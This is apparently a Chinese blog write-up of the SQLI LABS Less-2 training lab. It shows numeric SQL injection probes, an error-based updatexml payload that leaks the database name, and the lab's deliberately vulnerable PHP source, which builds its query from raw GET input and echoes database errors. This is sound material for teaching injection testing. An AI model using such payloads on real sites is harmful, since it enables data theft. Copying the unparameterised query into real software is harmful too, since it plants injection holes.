SQLI LABS | Less-2 GET-Error based-Intiger based

关注这个靶场的其它相关笔记:SQLI LABS ------ 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

复制代码
 http://localhost/sqli-labs/Less-2/

靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

可以看到,服务器返回了对应 id 用户的登录名与登录密码。此时,我们可以再输入几个数据进行测试:

复制代码
 测试 Payload 01: ?id=1   # 结果: Your Login name:Dumb      Your Password:Dumb
 测试 Payload 02: ?id=2   # 结果: Your Login name:Angelina  Your Password:I-kill-you
 测试 Payload 03: ?id=2-1 # 结果: Your Login name:Dumb      Your Password:Dumb
 测试 Payload 04: ?id=1'  # 结果: 报错

可以看到,当我们传递 Payload 03 给服务器后端时,它爆出的结果与 Payload 01 一致,其实这时候就已经可以判断目标后端存在数字型注入了,推测目标后端 SQL 模板如下:

sql 复制代码
 select username,password from users where id=$_GET['id'] LIMIT 0,1;

在进行进一步测试时,Payload 04 返回的结果直接报错。既然服务端能显示报错信息,那么本关依旧采用报错注入,攻击 Payload 如下:

sql 复制代码
 -- 获取当前服务器正在使用的数据库的名称
 攻击 Payload: ?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
 笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,Less-2 GET-Error based-Intiger based 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-2 GET-Error based-Intiger based 后端的部分源码,以及笔者做的笔记:

php 复制代码
 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sqli-connect.php"); // 导入数据库连接文件,获取数据库连接对象
 error_reporting(0); // 设置 PHP 错误报告级别为最低,从而禁用所有错误报告
 // take the variables
 if (isset($_GET['id'])) { // 接受通过GET方式传递的 id 的值
     $id = $_GET['id'];
     //logging the connection parameters to a file for analysis.
     $fp = fopen('result.txt', 'a');
     fwrite($fp, 'ID:' . $id . "\n");
     fclose($fp);
 ​
 ​
     // connectivity 
     $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1"; // 最终执行的 SQL 语句
     $result = mysqli_query($con1, $sql);
     $row = mysqli_fetch_array($result, MYSQLI_BOTH); // 尝试从查询结果中获取数据行
 ​
     if ($row) {
         echo "<font size='5' color= '#99FF00'>";
         echo 'Your Login name:' . $row['username'];
         echo "<br>";
         echo 'Your Password:' . $row['password'];
         echo "</font>";
     } else {    // 如果没有获取到数据行,显示错误信息
         echo '<font color= "#FFFF00">';
         print_r(mysqli_error($con1)); // 自己主动回显报错信息,导致存在报错注入的可能
         echo "</font>";
     }
 } else {
     echo "Please input the ID as parameter with numeric value";
 }
 ​
 ?>
相关推荐
Pedantic2 小时前
SwiftUI 手势层级(Gesture Hierarchy)详解
前端
飘尘2 小时前
前端转型全栈(Java后端)的快速上手指引
前端·后端·全栈
一颗烂土豆2 小时前
Meshopt 压缩深度解析,为什么它比 Draco 更快
前端·javascript·webgl
浏览器工程师3 小时前
AI Agent 接浏览器任务,先别让它一路点到底
前端·后端
雨季mo浅忆3 小时前
VSCode自动格式化三要素
前端
爱勇宝4 小时前
深扒 Anthropic 1680 位工程师简历:应届生几乎没机会,AI 公司最缺的不是博士
前端·后端·程序员
kyriewen5 小时前
同事每天催我 Code Review,我写了个脚本让 AI 替我 review PR——现在他反过来催 AI 了
前端·javascript·ai编程
user20585561518137 小时前
Windows 项目安装时报 `node-sass` 错误,如何快速处理
前端
LiaCode7 小时前
Redis 在生产项目的使用
前端·后端